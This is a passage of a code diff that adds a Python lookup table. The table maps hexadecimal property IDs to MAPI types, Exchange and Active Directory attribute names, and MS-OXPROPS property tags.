+        0x8148: (0x0003, "transTimeoutMins", "ms-Exch-Trans-Timeout-Mins", 2, None, None, None),
+        0x8149: (0x0003, "transferRetryInterval", "ms-Exch-Transfer-Retry-Interval", 2, None, None, None),
+        0x814a: (0x0003, "transferTimeoutNonUrgent", "ms-Exch-Transfer-Timeout-Non-Urgent", 2, None, None, None),
+        0x814b: (0x0003, "transferTimeoutNormal", "ms-Exch-Transfer-Timeout-Normal", 2, None, None, None),
+        0x814c: (0x0003, "transferTimeoutUrgent", "ms-Exch-Transfer-Timeout-Urgent", 2, None, None, None),
+        0x814d: (0x0003, "translationTableUsed", "ms-Exch-Translation-Table-Used", 2, None, None, None),
+        0x814e: (0x000b, "transportExpeditedData", "ms-Exch-Transport-Expedited-Data", 2, None, None, None),
+        0x814f: (0x0003, "trustLevel", "ms-Exch-Trust-Level", 2, None, None, None),
+        0x8150: (0x0003, "turnRequestThreshold", "ms-Exch-Turn-Request-Threshold", 2, None, None, None),
+        0x8151: (0x000b, "twoWayAlternateFacility", "ms-Exch-Two-Way-Alternate-Facility", 2, None, None, None),
+        0x8152: (0x000d, "unauthOrigBL", "ms-Exch-Unauth-Orig-BL", 1, None, None, None),
+        0x8153: (0x1102, "userPassword", "User-Password", 3, None, None, None),
+        0x8154: (0x0003, "uSNCreated", "USN-Created", 1, None, None, None),
+        0x8155: (0x0003, "uSNDSALastObjRemoved", "USN-DSA-Last-Obj-Removed", 3, None, None, None),
+        0x8156: (0x0003, "uSNLastObjRem", "USN-Last-Obj-Rem", 1, None, None, None),
+        0x8157: (0x0003, "uSNSource", "USN-Source", 3, None, None, None),
+        0x8158: (0x101f, "x121Address", "X121-Address", 3, None, None, None),
+        0x8159: (0x0102, "x25CallUserDataIncoming", "ms-Exch-X25-Call-User-Data-Incoming", 2, None, None, None),
+        0x815a: (0x0102, "x25CallUserDataOutgoing", "ms-Exch-X25-Call-User-Data-Outgoing", 2, None, None, None),
+        0x815b: (0x0102, "x25FacilitiesDataIncoming", "ms-Exch-X25-Facilities-Data-Incoming", 2, None, None, None),
+        0x815c: (0x0102, "x25FacilitiesDataOutgoing", "ms-Exch-X25-Facilities-Data-Outgoing", 2, None, None, None),
+        0x815d: (0x0102, "x25LeasedLinePort", "ms-Exch-X25-Leased-Line-Port", 2, None, None, None),
+        0x815e: (0x000b, "x25LeasedOrSwitched", "ms-Exch-X25-Leased-Or-Switched", 2, None, None, None),
+        0x815f: (0x001f, "x25RemoteMTAPhone", "ms-Exch-X25-Remote-MTA-Phone", 2, None, None, None),
+        0x8160: (0x0102, "x400AttachmentType", "ms-Exch-X400-Attachment-Type", 2, None, None, None),
+        0x8161: (0x0003, "x400SelectorSyntax", "ms-Exch-X400-Selector-Syntax", 2, None, None, None),
+        0x8163: (0x0003, "xMITTimeoutNonUrgent", "ms-Exch-XMIT-Timeout-Non-Urgent", 2, None, None, None),
+        0x8164: (0x0003, "xMITTimeoutNormal", "ms-Exch-XMIT-Timeout-Normal", 2, None, None, None),
+        0x8165: (0x0003, "xMITTimeoutUrgent", "ms-Exch-XMIT-Timeout-Urgent", 2, None, None, None),
+        0x8166: (0x0102, "siteFolderGUID", "ms-Exch-Site-Folder-GUID", 2, None, None, None),
+        0x8167: (0x001f, "siteFolderServer", "ms-Exch-Site-Folder-Server", 2, None, None, None),
+        0x8168: (0x0003, "replicationMailMsgSize", "ms-Exch-Replication-Mail-Msg-Size", 2, None, None, None),
+        0x8169: (0x0102, "maximumObjectID", "ms-Exch-Maximum-Object-ID", 2, None, None, None),
+        0x8170: (0x101f, "networkAddress", "Network-Address", 1, "PidTagAddressBookNetworkAddress", "PR_EMS_AB_NETWORK_ADDRESS", "AbNetworkAddress"),
+        0x8171: (0x001f, "lDAPDisplayName", "LDAP-Display-Name", 1, None, None, None),
+        0x8174: (0x101f, "bridgeheadServers", "ms-Exch-Bridgehead-Servers", 2, None, None, None),
+        0x8175: (0x101f, "url", "WWW-Page-Other", 1, None, None, None),
+        0x8177: (0x001f, "pOPContentFormat", "ms-Exch-POP-Content-Format", 2, None, None, None),
+        0x8178: (0x0003, "languageCode", "ms-Exch-Language", 2, None, None, None),
+        0x8179: (0x001f, "pOPCharacterSet", "ms-Exch-POP-Character-Set", 2, None, None, None),
+        0x817a: (0x0003, "USNIntersite", "USN-Intersite", 3, None, None, None),
+        0x817f: (0x0003, "enabledProtocols", "ms-Exch-Enabled-Protocols", 1, None, None, None),
+        0x8180: (0x0102, "connectionListFilter", "ms-Exch-Connection-List-Filter", 2, None, None, None),
+        0x8181: (0x101f, "availableAuthorizationPackages", "ms-Exch-Available-Authorization-Packages", 2, None, None, None),
+        0x8182: (0x101f, "characterSetList", "ms-Exch-Character-Set-List", 2, None, None, None),
+        0x8183: (0x000b, "useSiteValues", "ms-Exch-Use-Site-Values", 2, None, None, None),
+        0x8184: (0x101f, "enabledAuthorizationPackages", "ms-Exch-Enabled-Authorization-Packages", 2, None, None, None),
+        0x8185: (0x001f, "characterSet", "ms-Exch-Character-Set", 2, None, None, None),
+        0x8186: (0x0003, "contentType", "ms-Exch-Content-Type", 2, None, None, None),
+        0x8187: (0x000b, "anonymousAccess", "ms-Exch-Anonymous-Access", 2, None, None, None),
+        0x8188: (0x0102, "controlMsgFolderID", "ms-Exch-Control-Msg-Folder-ID", 2, None, None, None),
+        0x8189: (0x001f, "usenetSiteName", "ms-Exch-Usenet-Site-Name", 2, None, None, None),
+        0x818a: (0x0102, "controlMsgRules", "ms-Exch-Control-Msg-Rules", 2, None, None, None),
+        0x818b: (0x001f, "availableDistributions", "ms-Exch-Available-Distributions", 2, None, None, None),
+        0x818f: (0x0003, "outgoingMsgSizeLimit", "ms-Exch-Outgoing-Msg-Size-Limit", 2, None, None, None),
+        0x8190: (0x0003, "incomingMsgSizeLimit", "ms-Exch-Incoming-Msg-Size-Limit", 2, None, None, None),
+        0x8191: (0x000b, "sendTNEF", "ms-Exch-Send-TNEF", 2, None, None, None),
+        0x819b: (0x000b, "hTTPPubGAL", "ms-Exch-HTTP-Pub-GAL", 2, None, None, None),
+        0x819c: (0x0003, "hTTPPubGALLimit", "ms-Exch-HTTP-Pub-GAL-Limit", 2, None, None, None),
+        0x819e: (0x1102, "hTTPPubPF", "ms-Exch-HTTP-Pub-PF", 2, None, None, None),
+        0x81a1: (0x001f, "x500RDN", "ms-Exch-X500-RDN", 2, None, None, None),
+        0x81a2: (0x001f, "dnQualifier", "ms-Exch-X500-NC", 2, None, None, None),
+        0x81a3: (0x101f, "referralList", "ms-Exch-Referral-List", 2, None, None, None),
+        0x81a8: (0x000b, "enabledProtocolCfg", "ms-Exch-Enabled-Protocol-Cfg", 2, None, None, None),
+        0x81a9: (0x101f, "hTTPPubABAttributes", "ms-Exch-HTTP-Pub-AB-Attributes", 2, None, None, None),
+        0x81ab: (0x101f, "hTTPServers", "ms-Exch-HTTP-Servers", 2, None, None, None),
+        0x81b1: (0x000b, "proxyGenerationEnabled", "Proxy-Generation-Enabled", 3, None, None, None),
+        0x81b2: (0x0102, "rootNewsgroupsFolderID", "ms-Exch-Root-Newsgroups-Folder-ID", 2, None, None, None),
+        0x81b4: (0x0003, "connectionListFilterType", "ms-Exch-Connection-List-Filter-Type", 2, None, None, None),
+        0x81b5: (0x0003, "portNumber", "ms-Exch-Port-Number", 2, None, None, None),
+        0x81b6: (0x101f, "protocolSettings", "ms-Exch-Protocol-Settings", 1, None, None, None),
+        0x81c2: (0x0040, "promoExpiration", "ms-Exch-Promo-Expiration", 1, None, None, None),
+        0x81c3: (0x101f, "disabledGatewayProxy", "ms-Exch-Disabled-Gateway-Proxy", 2, None, None, None),
+        0x81c4: (0x0102, "compromisedKeyList", "ms-Exch-Compromised-Key-List", 2, None, None, None),
+        0x81c5: (0x001f, "iNSAdmin", "ms-Exch-INSAdmin", 2, None, None, None),
+        0x81c7: (0x101f, "objViewContainers", "ms-Exch-Obj-View-Containers", 2, None, None, None),
+        0x8202: (0x001f, "name", "RDN", 1, "PidLidAppointmentSequenceTime", "dispidApptSeqTime", None),
+        0x8c1c: (0x0102, "msExchMimeTypes", "ms-Exch-Mime-Types", 2, None, None, None),
+        0x8c1d: (0x0003, "lDAPSearchCfg", "ms-Exch-LDAP-Search-Cfg", 2, None, None, None),
+        0x8c21: (0x000b, "Enabled", "Enabled", 3, None, None, None),
+        0x8c22: (0x000b, "preserveInternetContent", "ms-Exch-Preserve-Internet-Content", 2, None, None, None),
+        0x8c24: (0x000b, "clientAccessEnabled", "ms-Exch-Client-Access-Enabled", 2, None, None, None),
+        0x8c25: (0x000b, "requireSSL", "ms-Exch-Require-SSL", 2, None, None, None),
+        0x8c26: (0x001f, "anonymousAccount", "ms-Exch-Anonymous-Account", 2, None, None, None),
+        0x8c27: (0x0102, "certificateChainV3", "ms-Exch-Certificate-Chain-V3", 2, None, None, None),
+        0x8c28: (0x0102, "certificateRevocationListV3", "ms-Exch-Certificate-Revocation-List-V3", 2, None, None, None),
+        0x8c29: (0x0102, "certificateRevocationListV1", "ms-Exch-Certificate-Revocation-List-V1", 2, None, None, None),
+        0x8c30: (0x1102, "crossCertificateCRL", "ms-Exch-Cross-Certificate-CRL", 2, None, None, None),
+        0x8c31: (0x000b, "sendEMailMessage", "ms-Exch-Send-EMail-Message", 2, None, None, None),
+        0x8c32: (0x000b, "enableCompatibility", "ms-Exch-Enable-Compatibility", 2, None, None, None),
+        0x8c33: (0x101f, "sMIMEAlgListNA", "ms-Exch-SMIME-Alg-List-NA", 2, None, None, None),
+        0x8c34: (0x101f, "sMIMEAlgListOther", "ms-Exch-SMIME-Alg-List-Other", 2, None, None, None),
+        0x8c35: (0x001f, "sMIMEAlgSelectedNA", "ms-Exch-SMIME-Alg-Selected-NA", 2, None, None, None),
+        0x8c36: (0x001f, "sMIMEAlgSelectedOther", "ms-Exch-SMIME-Alg-Selected-Other", 2, None, None, None),
+        0x8c37: (0x000b, "defaultMessageFormat", "ms-Exch-Default-Message-Format", 2, None, None, None),
+        0x8c38: (0x001f, "type", "ms-Exch-Type", 1, None, None, None),
+        0x8c3a: (0x0003, "doOABVersion", "ms-Exch-Do-OAB-Version", 2, None, None, None),
+        0x8c45: (0x1102, "attributeCertificate", "ms-Exch-Attribute-Certificate", 1, None, None, None),
+        0x8c46: (0x1102, "deltaRevocationList", "Delta-Revocation-List", 3, None, None, None),
+        0x8c47: (0x1102, "securityPolicy", "ms-Exch-Security-Policy", 2, None, None, None),
+        0x8c48: (0x000b, "supportSMIMESignatures", "ms-Exch-Support-SMIME-Signatures", 2, None, None, None),
+        0x8c49: (0x000b, "delegateUser", "ms-Exch-Delegate-User", 2, None, None, None),
+        0x8c50: (0x000b, "listPublicFolders", "ms-Exch-List-Public-Folders", 2, None, None, None),
+        0x8c51: (0x101f, "msExchLabeledURI", "ms-Exch-LabeledURI", 1, None, None, None),
+        0x8c52: (0x000b, "returnExactMsgSize", "ms-Exch-Return-Exact-Msg-Size", 2, None, None, None),
+        0x8c53: (0x001f, "generationQualifier", "Generation-Qualifier", 3, None, None, None),
+        0x8c54: (0x001f, "msExchHouseIdentifier", "ms-Exch-House-Identifier", 3, None, None, None),
+        0x8c55: (0x0102, "supportedAlgorithms", "ms-Exch-Supported-Algorithms", 1, None, None, None),
+        0x8c56: (0x001f, "dmdName", "DMD-Name", 3, None, None, None),
+        0x8c57: (0x001f, "extensionAttribute11", "ms-Exch-Extension-Attribute-11", 1, "PidTagAddressBookExtensionAttribute11", "PR_EMS_AB_EXTENSION_ATTRIBUTE_11", None),
+        0x8c58: (0x001f, "extensionAttribute12", "ms-Exch-Extension-Attribute-12", 1, "PidTagAddressBookExtensionAttribute12", "PR_EMS_AB_EXTENSION_ATTRIBUTE_12", None),
+        0x8c59: (0x001f, "extensionAttribute13", "ms-Exch-Extension-Attribute-13", 1, "PidTagAddressBookExtensionAttribute13", "PR_EMS_AB_EXTENSION_ATTRIBUTE_13", None),
+        0x8c60: (0x001f, "extensionAttribute14", "ms-Exch-Extension-Attribute-14", 1, "PidTagAddressBookExtensionAttribute14", "PR_EMS_AB_EXTENSION_ATTRIBUTE_14", None),
+        0x8c61: (0x001f, "extensionAttribute15", "ms-Exch-Extension-Attribute-15", 1, "PidTagAddressBookExtensionAttribute15", "PR_EMS_AB_EXTENSION_ATTRIBUTE_15", None),
+        0x8c62: (0x0003, "replicatedObjectVersion", "ms-Exch-Replicated-Object-Version", 1, None, None, None),
+        0x8c64: (0x001f, "forwardingAddress", "ms-Exch-Forwarding-Address", 2, None, None, None),
+        0x8c65: (0x0102, "formData", "ms-Exch-Form-Data", 2, None, None, None),
+        0x8c66: (0x001f, "oWAServer", "ms-Exch-OWA-Server", 2, None, None, None),
+        0x8c67: (0x001f, "employeeNumber", "Employee-Number", 3, None, None, None),
+        0x8c68: (0x001f, "personalPager", "ms-Exch-Telephone-Personal-Pager", 2, None, None, None),
+        0x8c69: (0x001f, "employeeType", "Employee-Type", 3, None, None, None),
+        0x8c6a: (0x1102, "userCertificate", "X509-Cert", 1, "PidTagAddressBookX509Certificate", "PR_EMS_AB_X509_CERT", "Certificate"),
+        0x8c6b: (0x001f, "personalTitle", "Personal-Title", 3, None, None, None),
+        0x8c6c: (0x001f, "language", "ms-Exch-Language-ISO639", 2, None, None, None),
+        0x8c6d: (0x0102, "objectGUID", "Object-Guid", 1, "PidTagAddressBookObjectGuid", "PR_EMS_AB_OBJECT_GUID", "ObjectGuid"),
+        0x8c6e: (0x101f, "otherPager", "Phone-Pager-Other", 1, None, None, None),
+        0x8c73: (0x0102, "msExchMailboxGuid", "ms-Exch-Mailbox-Guid", 1, None, None, None),
+        0x8c75: (0x0102, "msExchMasterAccountSid", "ms-Exch-Master-Account-Sid", 1, None, None, None),
+        0x8c7e: (0x001f, "msExchFBURL", "ms-Exch-FB-URL", 1, None, None, None),
+        0x8c7f: (0x001f, "msExchMailboxUrl", "ms-Exch-Mailbox-Url", 1, None, None, None),
+        0x8c81: (0x001f, "textEncodedORAddress", "Text-Encoded-OR-Address", 1, None, None, None),
+        0x8c82: (0x001f, "msExchPfRootUrl", "ms-Exch-Pf-Root-Url", 1, None, None, None),
+        0x8c8e: (0x001f, "msDS-PhoneticFirstName", "ms-DS-Phonetic-First-Name", 1, "PidTagAddressBookPhoneticGivenName", "PR_EMS_AB_PHONETIC_GIVEN_NAME", None),
+        0x8c8f: (0x001f, "msDS-PhoneticLastName", "ms-DS-Phonetic-Last-Name", 1, "PidTagAddressBookPhoneticSurname", "PR_EMS_AB_PHONETIC_SURNAME", None),
+        0x8c90: (0x001f, "msDS-PhoneticDepartment", "ms-DS-Phonetic-Department", 1, "PidTagAddressBookPhoneticDepartmentName", "PR_EMS_AB_PHONETIC_DEPARTMENT_NAME", None),
+        0x8c91: (0x001f, "msDS-PhoneticCompanyName", "ms-DS-Phonetic-Company-Name", 1, "PidTagAddressBookPhoneticCompanyName", "PR_EMS_AB_PHONETIC_COMPANY_NAME", None),
+        0x8c92: (0x001f, "msDS-PhoneticDisplayName", "ms-DS-Phonetic-Display-Name", 1, "PidTagAddressBookPhoneticDisplayName", "PR_EMS_AB_PHONETIC_DISPLAY_NAME", None),
+        0x8c94: (0x000d, "msExchHABShowInDepartments", "ms-Exch-HAB-Show-In-Departments", 1, "PidTagAddressBookHierarchicalShowInDepartments", "PR_EMS_AB_HAB_SHOW_IN_DEPARTMENTS", None),
+        0x8c96: (0x101f, "msExchResourceAddressLists", "ms-Exch-Resource-Address-Lists", 1, "PidTagAddressBookRoomContainers", "PR_EMS_AB_ROOM_CONTAINERS", "AddressBookRoomContainers"),
+        0x8c97: (0x000d, "msExchHABShowInDepartmentsBL", "ms-Exch-HAB-Show-In-Departments-BL", 2, "PidTagAddressBookHierarchicalDepartmentMembers", "PR_EMS_AB_HAB_DEPARTMENT_MEMBERS", None),
+        0x8c98: (0x000d, "msExchHABRootDepartmentLink", "ms-Exch-HAB-Root-Department-Link", 1, "PidTagAddressBookHierarchicalRootDepartment", "PR_EMS_AB_HAB_ROOT_DEPARTMENT", None),
+        0x8c99: (0x000d, "msExchHABChildDepartmentsBL", "ms-Exch-HAB-Child-Departments-BL", 2, "PidTagAddressBookHierarchicalParentDepartment", "PR_EMS_AB_HAB_PARENT_DEPARTMENT", None),
+        0x8c9a: (0x000d, "msExchHABChildDepartmentsLink", "ms-Exch-HAB-Child-Departments-Link", 2, "PidTagAddressBookHierarchicalChildDepartments", "PR_EMS_AB_HAB_CHILD_DEPARTMENTS", None),
+        0x8c9b: (0x000d, "msExchHABRootDepartmentBL", "ms-Exch-HAB-Root-Department-BL", 2, None, None, None),
+        0x8c9e: (0x0102, "thumbnailPhoto", "Picture", 1, "PidTagThumbnailPhoto", "PR_EMS_AB_THUMBNAIL_PHOTO", "ThumbnailPhoto"),
+        0x8c9f: (0x001f, "msExchUserCulture", "ms-Exch-User-Culture", 1, None, None, None),
+        0x8ca0: (0x0003, "msDS-HABSeniorityIndex", "ms-DS-HAB-Seniority-Index", 1, "PidTagAddressBookSeniorityIndex", None, None),
+        0x8ca1: (0x000b, "msExchPhoneticSupport", "ms-Exch-Phonetic-Support", 2, None, None, None),
+        0x8ca2: (0x0003, "msExchMaxSafeSenders", "ms-Exch-Max-Safe-Senders", 1, None, None, None),
+        0x8ca3: (0x0003, "msExchMaxBlockedSenders", "ms-Exch-Max-Blocked-Senders", 1, None, None, None),
+        0x8ca5: (0x000d, "msExchConfigurationUnitLink", "ms-Exch-Configuration-Unit-Link", 2, None, None, None),
+        0x8ca6: (0x000d, "msExchConfigurationUnitBL", "ms-Exch-Configuration-Unit-BL", 1, None, None, None),
+        0x8ca7: (0x001f, "msExchCU", "ms-Exch-CU", 1, None, None, None),
+        0x8ca8: (0x001f, "msExchOURoot", "ms-Exch-OU-Root", 1, "PidTagAddressBookOrganizationalUnitRootDistinguishedName", "PR_EMS_AB_ORG_UNIT_ROOT_DN", None),
+        0x8ca9: (0x0003, "msExchSenderHintsEnabled", "ms-Exch-Sender-Hints-Enabled", 2, None, None, None),
+        0x8caa: (0x0003, "msExchSenderHintLargeAudienceThreshold", "ms-Exch-Sender-Hint-Large-Audience-Threshold", 2, None, None, None),
+        0x8cac: (0x101f, "msExchSenderHintTranslations", "ms-Exch-Sender-Hint-Translations", 1, "PidTagAddressBookSenderHintTranslations", "PR_EMS_AB_DL_SENDER_HINT_TRANSLATIONS_W", None),
+        0x8cad: (0x000d, "msExchModeratedByLink", "ms-Exch-Moderated-By-Link", 1, None, None, None),
+        0x8cae: (0x000d, "msExchCoManagedByLink", "ms-Exch-Co-Managed-By-Link", 1, None, None, None),
+        0x8caf: (0x000d, "msExchModeratedObjectsBL", "ms-Exch-Moderated-Objects-BL", 1, None, None, None),
+        0x8cb0: (0x000d, "msExchCoManagedObjectsBL", "ms-Exch-Co-Managed-Objects-BL", 1, None, None, None),
+        0x8cb1: (0x001f, "msExchArbitrationMailbox", "ms-Exch-Arbitration-Mailbox", 1, None, None, None),
+        0x8cb3: (0x0003, "msExchGroupJoinRestriction", "ms-Exch-Group-Join-Restriction", 1, None, None, None),
+        0x8cb4: (0x0003, "msExchGroupDepartRestriction", "ms-Exch-Group-Depart-Restriction", 1, None, None, None),
+        0x8cb5: (0x000b, "msExchEnableModeration", "ms-Exch-Enable-Moderation", 1, "PidTagAddressBookModerationEnabled", None, None),
+        0x8cb6: (0x0003, "msExchModerationFlags", "ms-Exch-Moderation-Flags", 1, None, None, None),
+        0x8cb7: (0x101f, "msExchSignupAddresses", "ms-Exch-Signup-Addresses", 1, None, None, None),
+        0x8cc1: (0x001f, "msExchWindowsLiveID", "ms-Exch-Windows-Live-ID", 1, None, None, None),
+        0x8cc2: (0x0102, "msExchUMSpokenName", "ms-Exch-UM-Spoken-Name", 1, "PidTagSpokenName", "PR_EMS_AB_UM_SPOKEN_NAME", None),
+        0x8cc3: (0x001f, "msExchPrivacyStatementURL", "ms-Exch-Privacy-Statement-URL", 2, None, None, None),
+        0x8cc4: (0x001f, "msExchControlPanelFeedbackURL", "ms-Exch-Control-Panel-Feedback-URL", 2, None, None, None),
+        0x8cc5: (0x001f, "msExchControlPanelHelpURL", "ms-Exch-Control-Panel-Help-URL", 2, None, None, None),
+        0x8cc6: (0x000b, "msExchExchangeHelpAppOnline", "ms-Exch-Exchange-Help-App-Online", 2, None, None, None),
+        0x8cc7: (0x001f, "msExchManagementConsoleFeedbackURL", "ms-Exch-Management-Console-Feedback-URL", 2, None, None, None),
+        0x8cc8: (0x001f, "msExchManagementConsoleHelpURL", "ms-Exch-Management-Console-Help-URL", 2, None, None, None),
+        0x8cc9: (0x001f, "msExchOWAFeedbackURL", "ms-Exch-OWA-Feedback-URL", 2, None, None, None),
+        0x8cca: (0x001f, "msExchOWAHelpURL", "ms-Exch-OWA-Help-URL", 2, None, None, None),
+        0x8ccb: (0x001f, "msExchWindowsLiveAccountURL", "ms-Exch-Windows-Live-Account-URL", 2, None, None, None),
+        0x8ccc: (0x0003, "msExchTransportRecipientSettingsFlags", "ms-Exch-Transport-Recipient-Settings-Flags", 1, None, None, None),
+        0x8ccd: (0x000b, "msExchControlPanelFeedbackEnabled", "ms-Exch-Control-Panel-Feedback-Enabled", 2, None, None, None),
+        0x8cce: (0x000b, "msExchManagementConsoleFeedbackEnabled", "ms-Exch-Management-Console-Feedback-Enabled", 2, None, None, None),
+        0x8ccf: (0x000b, "msExchOWAFeedbackEnabled", "ms-Exch-OWA-Feedback-Enabled", 2, None, None, None),
+        0x8cd0: (0x000b, "msExchPrivacyStatementURLEnabled", "ms-Exch-Privacy-Statement-URL-Enabled", 2, None, None, None),
+        0x8cd1: (0x000b, "msExchWindowsLiveAccountURLEnabled", "ms-Exch-Windows-Live-Account-URL-Enabled", 2, None, None, None),
+        0x8cd2: (0x000d, "msExchBypassModerationLink", "ms-Exch-Bypass-Moderation-Link", 1, None, None, None),
+        0x8cd3: (0x000d, "msExchBypassModerationBL", "ms-Exch-Bypass-Moderation-BL", 1, None, None, None),
+        0x8cd4: (0x000d, "msExchBypassModerationFromDLMembersLink", "ms-Exch-Bypass-Moderation-From-DL-Members-Link", 1, None, None, None),
+        0x8cd5: (0x000d, "msExchBypassModerationFromDLMembersBL", "ms-Exch-Bypass-Moderation-From-DL-Members-BL", 1, None, None, None),
+        0x8cd6: (0x001f, "msExchRetentionComment", "ms-Exch-Retention-Comment", 1, None, None, None),
+        0x8cd7: (0x001f, "msExchRetentionURL", "ms-Exch-Retention-URL", 1, None, None, None),
+        0x8cd8: (0x000d, "authOrig", "ms-Exch-Auth-Orig", 1, "PidTagAddressBookAuthorizedSenders", "PR_EMS_AB_AUTH_ORIG", None),
+        0x8cd9: (0x000d, "unauthOrig", "ms-Exch-Unauth-Orig", 1, "PidTagAddressBookUnauthorizedSenders", "PR_EMS_AB_UNAUTH_ORIG", None),
+        0x8cda: (0x000d, "dLMemSubmitPerms", "ms-Exch-DL-Mem-Submit-Perms", 1, "PidTagAddressBookDistributionListMemberSubmitRejected", "PR_EMS_AB_DL_MEM_SUBMIT_PERMS", None),
+        0x8cdb: (0x000d, "dLMemRejectPerms", "ms-Exch-DL-Mem-Reject-Perms", 1, "PidTagAddressBookDistributionListRejectMessagesFromDLMembers", "PR_EMS_AB_DL_MEM_REJECT_PERMS", None),
+        0x8cdc: (0x000d, "msOrg-LeadersBL", "ms-Org-Leaders-BL", 2, None, None, None),
+        0x8cdd: (0x000b, "msOrg-IsOrganizational", "ms-Org-Is-Organizational-Group", 1, "PidTagAddressBookHierarchicalIsHierarchicalGroup", "PR_EMS_AB_HAB_IS_HIERARCHICAL_GROUP", None),
+        0x8cde: (0x000d, "msOrg-Leaders", "ms-Org-Leaders", 1, None, None, None),
+        0x8cdf: (0x001f, "msOrg-GroupSubtypeName", "ms-Org-Group-Subtype-Name", 1, None, None, None),
+        0x8ce0: (0x101f, "msOrg-OtherDisplayNames", "ms-Org-Other-Display-Names", 1, None, None, None),
+        0x8ce2: (0x0003, "msExchGroupMemberCount", "ms-Exch-Group-Member-Count", 1, "PidTagAddressBookDistributionListMemberCount", "PR_EMS_AB_DL_TOTAL_MEMBER_COUNT", None),
+        0x8ce3: (0x0003, "msExchGroupExternalMemberCount", "ms-Exch-Group-External-Member-Count", 1, "PidTagAddressBookDistributionListExternalMemberCount", "PR_EMS_AB_DL_EXTERNAL_MEMBER_COUNT", None),
+        0x8ce5: (0x000d, "msExchDelegateListLink", "ms-Exch-Delegate-List-Link", 1, None, None, None),
+        0x8ce6: (0x000d, "msExchDelegateListBL", "ms-Exch-Delegate-List-BL", 2, None, None, None),
+        0x8ce7: (0x001f, "msExchArchiveAddress", "ms-Exch-Archive-Address", 1, None, None, None),
+        0x8ce8: (0x0003, "msExchArchiveStatus", "ms-Exch-Archive-Status", 1, None, None, None),
+        0x8ce9: (0x001f, "msExchDistributionGroupNamingPolicy", "ms-Exch-Distribution-Group-Naming-Policy", 2, None, None, None),
+        0x8cea: (0x101f, "msExchDistributionGroupNameBlockedWordsList", "ms-Exch-Distribution-Group-Name-Blocked-Words-List", 2, None, None, None),
+        0x8ceb: (0x001f, "msExchDistributionGroupDefaultOU", "ms-Exch-Distribution-Group-Default-OU", 2, None, None, None),
+        0x8cec: (0x0003, "msExchAddressBookFlags", "ms-Exch-Address-Book-Flags", 1, None, None, None),
+        0x8ced: (0x001f, "msExchExtensionAttribute16", "ms-Exch-Extension-Attribute-16", 1, None, None, None),
+        0x8cee: (0x001f, "msExchExtensionAttribute17", "ms-Exch-Extension-Attribute-17", 1, None, None, None),
+        0x8cef: (0x001f, "msExchExtensionAttribute18", "ms-Exch-Extension-Attribute-18", 1, None, None, None),
+        0x8cf0: (0x001f, "msExchExtensionAttribute19", "ms-Exch-Extension-Attribute-19", 1, None, None, None),
+        0x8cf1: (0x001f, "msExchExtensionAttribute20", "ms-Exch-Extension-Attribute-20", 1, None, None, None),
+        0x8cf2: (0x001f, "msExchExtensionAttribute21", "ms-Exch-Extension-Attribute-21", 1, None, None, None),
+        0x8cf3: (0x001f, "msExchExtensionAttribute22", "ms-Exch-Extension-Attribute-22", 1, None, None, None),
+        0x8cf4: (0x001f, "msExchExtensionAttribute23", "ms-Exch-Extension-Attribute-23", 1, None, None, None),
+        0x8cf5: (0x001f, "msExchExtensionAttribute24", "ms-Exch-Extension-Attribute-24", 1, None, None, None),
+        0x8cf6: (0x001f, "msExchExtensionAttribute25", "ms-Exch-Extension-Attribute-25", 1, None, None, None),
+        0x8cf7: (0x001f, "msExchExtensionAttribute26", "ms-Exch-Extension-Attribute-26", 1, None, None, None),
+        0x8cf8: (0x001f, "msExchExtensionAttribute27", "ms-Exch-Extension-Attribute-27", 1, None, None, None),
+        0x8cf9: (0x001f, "msExchExtensionAttribute28", "ms-Exch-Extension-Attribute-28", 1, None, None, None),
+        0x8cfa: (0x001f, "msExchExtensionAttribute29", "ms-Exch-Extension-Attribute-29", 1, None, None, None),
+        0x8cfb: (0x001f, "msExchExtensionAttribute30", "ms-Exch-Extension-Attribute-30", 1, None, None, None),
+        0x8cfc: (0x001f, "msExchExtensionAttribute31", "ms-Exch-Extension-Attribute-31", 1, None, None, None),
+        0x8cfd: (0x001f, "msExchExtensionAttribute32", "ms-Exch-Extension-Attribute-32", 1, None, None, None),
+        0x8cfe: (0x001f, "msExchExtensionAttribute33", "ms-Exch-Extension-Attribute-33", 1, None, None, None),
+        0x8cff: (0x001f, "msExchExtensionAttribute34", "ms-Exch-Extension-Attribute-34", 1, None, None, None),
+        0x8d00: (0x001f, "msExchExtensionAttribute35", "ms-Exch-Extension-Attribute-35", 1, None, None, None),
+        0x8d01: (0x001f, "msExchExtensionAttribute36", "ms-Exch-Extension-Attribute-36", 1, None, None, None),
+        0x8d02: (0x001f, "msExchExtensionAttribute37", "ms-Exch-Extension-Attribute-37", 1, None, None, None),
+        0x8d03: (0x001f, "msExchExtensionAttribute38", "ms-Exch-Extension-Attribute-38", 1, None, None, None),
+        0x8d04: (0x001f, "msExchExtensionAttribute39", "ms-Exch-Extension-Attribute-39", 1, None, None, None),
+        0x8d05: (0x001f, "msExchExtensionAttribute40", "ms-Exch-Extension-Attribute-40", 1, None, None, None),
+        0x8d06: (0x001f, "msExchExtensionAttribute41", "ms-Exch-Extension-Attribute-41", 1, None, None, None),
+        0x8d07: (0x001f, "msExchExtensionAttribute42", "ms-Exch-Extension-Attribute-42", 1, None, None, None),
+        0x8d08: (0x001f, "msExchExtensionAttribute43", "ms-Exch-Extension-Attribute-43", 1, None, None, None),
+        0x8d09: (0x001f, "msExchExtensionAttribute44", "ms-Exch-Extension-Attribute-44", 1, None, None, None),
+        0x8d0a: (0x001f, "msExchExtensionAttribute45", "ms-Exch-Extension-Attribute-45", 1, None, None, None),
+        0x8d0b: (0x000d, "msExchUGMemberLink", "ms-Exch-UG-Member-Link", 1, None, None, None),
+        0x8d0c: (0x000d, "msExchUGMemberBL", "ms-Exch-UG-Member-BL", 1, None, None, None),
+        0x8d0e: (0x000d, "msExchAdministrativeUnitLink", "ms-Exch-Administrative-Unit-Link", 1, None, None, None),
+        0x8d0f: (0x0003, "msExchGroupSecurityFlags", "ms-Exch-Group-Security-Flags", 1, None, None, None),
+        0xfff8: (0x101f, "msExchTemplateRDNs", "ms-Exch-Template-RDNs", 2, None, None, None),
+# ====================
+        0x850e: (0x000b, None, None, 4, "PidLidAgingDontAgeMe", "dispidAgingDontAgeMe", None),
+        0x8238: (0x001f, None, None, 4, "PidLidAllAttendeesString", "dispidAllAttendeesString", None),
+        0x8246: (0x000b, None, None, 4, "PidLidAllowExternalCheck", "dispidAllowExternCheck", None),
+        0x8207: (0x0003, None, None, 4, "PidLidAppointmentAuxiliaryFlags", "dispidApptAuxFlags", None),
